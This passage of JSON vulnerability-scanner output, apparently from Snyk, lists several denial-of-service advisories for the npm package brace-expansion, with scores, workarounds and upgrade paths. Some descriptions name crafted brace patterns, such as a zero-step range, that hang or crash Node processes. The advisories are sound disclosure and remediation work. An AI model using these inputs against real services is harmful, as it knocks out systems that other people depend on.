"1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable 